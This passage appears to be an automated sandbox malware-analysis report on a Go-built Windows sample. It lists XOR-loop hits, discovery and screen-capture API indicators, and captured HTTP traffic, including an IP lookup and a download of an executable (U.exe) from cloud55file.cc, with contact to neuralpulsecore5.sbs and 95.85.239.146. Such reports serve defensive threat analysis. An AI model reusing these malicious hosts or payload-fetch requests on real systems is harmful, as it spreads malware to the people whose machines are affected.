"7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2306252; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2306880; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2308484; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2309586; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2314552; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2317296; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2481435; code bytes = 8030 Found XOR loop in file "7Lbfr54qnkOdJFfK1kt5kTqP.exe" at offset 2497781; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 86674; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 743768; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 950598; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1020838; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1161205; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1447937; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1469569; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1471361; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1805738; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2084144; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2084192; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2085176; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2085332; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2085392; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2085644; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2086076; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2086808; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2087504; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2088332; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2088440; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2088812; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2090516; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2091056; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2091512; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2091560; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2091788; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2092256; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2092508; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2092520; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2092772; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2093384; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2093468; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2093492; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2093804; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2094308; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2094356; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2094680; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2094692; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2096132; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2096324; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2097776; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2098448; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099300; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2099420; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2100428; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2100920; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2100932; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2100968; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2101052; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2101064; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2101088; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2336024; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2338184; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2338696; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2340740; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 728048; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 977072; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1289122; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1346385; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1370385; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1374321; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1432994; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1506338; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2152438; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2254841; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2260816; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2287265; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2384396; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2392116; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 183286; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 221097; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 221457; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 221857; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 224019; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 246353; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 266480; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 408805; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 409501; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 410142; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 420521; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 583951; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 583986; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 960974; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1191936; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1646741; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2084652; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2094444; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2382990; code bytes = 80302f:T474,file/memory contains long string with (Indicator: "GetCommandLine"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "syscall.GetCommandLine" (Indicator: "GetCommandLine"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "syscall.procGetCommandLineW" (Indicator: "GetCommandLine"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000896-00000C2B-2936867746") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000896-00000C2B-2936931416") file/memory contains long string with (Indicator: "GetCommandLine"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found string "syscall.GetCommandLine" (Indicator: "GetCommandLine"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp, 00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found string "syscall.procGetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003940.00000002.258352.01433000.00000002.mdmp")30:T450,Found system information discovery API: "GetEnvironmentStringsW" in file "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin" Found system information discovery API: "GetSystemInfo" in file "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin" Found system information discovery API: "GetEnvironmentStrings (in long string)" in file "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin" Found system information discovery API: "ExpandEnvironmentStrings (in long string)" in file "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin" Found system information discovery API: "RtlNtStatusToDosError (in long string)" in file "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin" Found system information discovery API: "internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb" in file "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin" Found system information discovery API: "internal/syscall/windows.procRtlNtStatusToDosErrorNoTeb" in "00000000-00003940.00000002.258352.01433000.00000002.mdmp"31:T2567," HTTP/1.1 200 OK date: Fri 29 May 2026 05:39:21 GMT server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 x-powered-by: PHP/8.2.12 content-length: 424 content-type: text/html; charset=UTF-8 with response body ==>60397C392139736F6F6B2147344734222E35232E35292822352A2F2D21282B2B2B473449547F2972755F51635275493937397772686F39214060397E39214039....... "GET /doero?param=uwnCyi3noMJXk1ERG0aq HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: neuralpulsecore5.sbs" Response ==> HTTP/1.1 200 OK date: Fri 29 May 2026 05:39:21 GMT server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 x-powered-by: PHP/8.2.12 content-length: 11 content-type: text/html; charset=UTF-8 with response body ==>60397772686F3921404666....... "GET / HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: api.myip.com" Response ==> HTTP/1.1 200 OK Date: Fri 29 May 2026 05:39:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Report-To: {"group":"cf-nel" "max_age":604800 "endpoints":[{"url":"https://a.nel.cloudflare.com/report/v4?s=DZso9qPABAIVg2gseJp%2FP4y3kGwUrXdTK61LpVj4beRa7doV0NMXdkFwcVawMLASfPFAPhSv%2BCJEclpcq35Wh8q2HEAUjd%2FnvFej%2BLKppRuE4a4MX6ibhbr3M5ONjQ%3D%3D"}]} vary: Accept-Encoding Server: cloudflare x-turbo-charged-by: LiteSpeed cf-cache-status: DYNAMIC Nel: {"report_to":"cf-nel" "success_fraction":0.0 "max_age":604800} CF-RAY: a0332884eddead84-SJC with response body ==>7B226970223A2236342E3132342E31322E313632222C22636F756E747279223A22556E6974656420537461746573222C226363223A225553227D....... "GET /load/os1/U.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: cloud55file.cc" Response ==> HTTP/1.1 200 OK date: Fri 29 May 2026 05:39:23 GMT server: Apache/2.4.58 (Ubuntu) last-modified: Thu 28 May 2026 16:35:47 GMT etag: "366c80-652e352051bfc" accept-ranges: bytes content-length: 3566720 content-type: application/x-msdos-program with response body ==>4D5AC290000300000004000000C3BFC3BF0000C28B00000000000000400000000000000000000000000000000000000000000000000000000000000000000000....... "GET /VAVCrfcP6SNX HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: 95.85.239.146:3000" Response ==> HTTP/1.1 302 Found X-Powered-By: Express X-Access-Mode: public Location: https://img3.akspic.ru/previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg Vary: Accept Content-Type: text/plain; charset=utf-8 Content-Length: 146 Date: Fri 29 May 2026 05:39:28 GMT Connection: keep-alive Keep-Alive: timeout=5 with response body ==>466F756E642E205265646972656374696E6720746F2068747470733A2F2F696D67332E616B737069632E72752F70726576696577732F382F342F302F362F372F....... "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: img3.akspic.ru" Response ==> HTTP/1.1 200 OK Server: nginx Date: Fri 29 May 2026 05:39:28 GMT Content-Type: image/jpeg Content-Length: 134818 Last-Modified: Sat 06 Jul 2024 07:26:33 GMT Connection: keep-alive Keep-Alive: timeout=60 ETag: "6688f1a9-20ea2" Expires: Thu 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: immutable Access-Control-Allow-Origin: * Special-Location: matched Accept-Ranges: bytes with response body ==>C3BFC398C3BFC3A000104A46494600010100000100010000C3BFC39B0043000302020302020303030304030304050805050404050A070706080C0A0C0C0B0A0B....... "GET /ROd2inDJxInR HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: 95.85.239.146:3000" Response ==> HTTP/1.1 302 Found X-Powered-By: Express X-Access-Mode: public Location: https://img3.akspic.ru/previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg Vary: Accept Content-Type: text/plain; charset=utf-8 Content-Length: 146 Date: Fri 29 May 2026 05:39:29 GMT Connection: keep-alive Keep-Alive: timeout=5 with response body ==>466F756E642E205265646972656374696E6720746F2068747470733A2F2F696D67332E616B737069632E72752F70726576696577732F382F342F302F362F372F....... "GET /previews/8/4/0/6/7/176048/176048-astronavt-kosmicheskoe_prostranstvo-kosmos-mir-razvlechenie-500x.jpg HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.38 Host: img3.akspic.ru" Response ==> HTTP/1.1 200 OK Server: nginx Date: Fri 29 May 2026 05:39:29 GMT Content-Type: image/jpeg Content-Length: 134818 Last-Modified: Sat 06 Jul 2024 07:26:33 GMT Connection: keep-alive Keep-Alive: timeout=60 ETag: "6688f1a9-20ea2" Expires: Thu 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 Cache-Control: immutable Access-Control-Allow-Origin: * Special-Location: matched Accept-Ranges: bytes with response body ==>C3BFC398C3BFC3A000104A46494600010100000100010000C3BFC39B0043000302020302020303030304030304050805050404050A070706080C0A0C0C0B0A0B.......3d:T1582,"" (Indicator: "GetDC"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp, 00000000-00003940.00000001.256433.01010000.00000004.mdmp, 00000000-00003940.00000002.258352.01010000.00000004.mdmp")4f:T632,file/memory contains long string with (Indicator: "GetUserName"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "NetUserGetInfo"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "LookupAccountSid"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "LookupAccountName"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetTokenInformation"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "NetGetJoinInformation"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetUserName"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "NetUserGetInfo"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountSid"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "LookupAccountName"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTokenInformation"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp")50:Te44,Found string "chacha8" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "*chacha8rand.State" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "internal/chacha8rand" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "aes"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "3des"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "internal/chacha8rand.(*State).Init64" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "internal/chacha8rand.(*State).Refill" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "internal/chacha8rand.(*State).Reseed" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "internal/chacha8rand.(*State).Next" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "internal/chacha8rand.block" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "type:.eq.internal/chacha8rand.State" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "runtime.initAlgAES" (Indicator: "aes"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "aeshashbody" (Indicator: "aes"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "internal/chacha8rand/chacha8.go" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "internal/chacha8rand/chacha8_amd64.s" (Indicator: "chacha"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "runtime.useAeshash" (Indicator: "aes"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found string "runtime.aeskeysched" (Indicator: "aes"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "aes"; Source: "00000000-00003940.00000000.254514.01010000.00000004.mdmp") Found string "chacha8" (Indicator: "chacha"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found string "*chacha8rand.State" (Indicator: "chacha"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found string "internal/chacha8rand" (Indicator: "chacha"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found string "???pc= GEOFintmapadxaesshaavxfmanet dBZ/tmpTERMbindsyncpipefile3125true-Inf+Infallgallprootitabsbrkidledead is LEAFheapbase at Has of ) = <==GOGC] = pc=: p=cas1cas2cas3cas4cas5cas6" (Indicator: "aes"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "3des"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found string "internal/chacha8rand.(*State).Init" (Indicator: "chacha"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp, 00000000-00003940.00000002.258352.01433000.00000002.mdmp")51:T914,Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "Process32Next"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "Module32Next"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "Process32First"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "Module32First"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetModuleHandle"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetCurrentProcess"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetEnvironmentStrings"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "Process32Next"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "Module32Next"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "Process32First"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "Module32First"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetModuleHandle"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentProcess"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp")52:T5bd,Found reference to API "GetProcAddress" (Indicator: "GetProcAddress"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetProcAddress"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetProcAddress"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found reference to API "syscall.GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp, 00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found reference to API "syscall._GetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp, 00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found reference to API "syscall.procGetProcAddress" (Indicator: "GetProcAddress"; Source: "00000000-00003940.00000002.258352.01433000.00000002.mdmp")53:Te0c,Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetTempPath"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetFileAttributes"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetCurrentDirectory"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "ReadDirectoryChange"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "QueryInformationFile"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetFileInformationByHandle"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "os.useGetTempPath2" (Indicator: "GetTempPath"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "internal/syscall/windows.procGetTempPath2W" (Indicator: "GetTempPath"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "internal/syscall/windows.procNtQueryInformationFile" (Indicator: "QueryInformationFile"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "GetFileInformationByHandle" (Indicator: "GetFileInformationByHandle"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetTempPath"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetFileAttributes"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") file/memory contains long string with (Indicator: "GetCurrentDirectory"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found reference to API "internal/syscall/windows.NtQueryInformationFile" (Indicator: "QueryInformationFile"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp, 00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found reference to API "internal/syscall/windows.ErrorLoadingGetTempPath2" (Indicator: "GetTempPath"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found reference to API "os.useGetTempPath2" (Indicator: "GetTempPath"; Source: "00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found reference to API "internal/syscall/windows.procGetTempPath2W" (Indicator: "GetTempPath"; Source: "00000000-00003940.00000002.258352.01433000.00000002.mdmp") Found reference to API "internal/syscall/windows.procNtQueryInformationFile" (Indicator: "QueryInformationFile"; Source: "00000000-00003940.00000002.258352.01433000.00000002.mdmp")54:T420,file/memory contains long string with (Indicator: "GetModuleFileName"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "internal/syscall/windows.GetModuleFileName" (Indicator: "GetModuleFileName"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") Found reference to API "internal/syscall/windows.procGetModuleFileNameW" (Indicator: "GetModuleFileName"; File: "31f5df22bbc18d0068ae3ca520e06a7826695718f5a3796dd1df450dfdf5f2e2.bin") file/memory contains long string with (Indicator: "GetModuleFileName"; Source: "00000000-00003940.00000000.254514.0127E000.00000002.mdmp") Found reference to API "internal/syscall/windows.GetModuleFileName" (Indicator: "GetModuleFileName"; 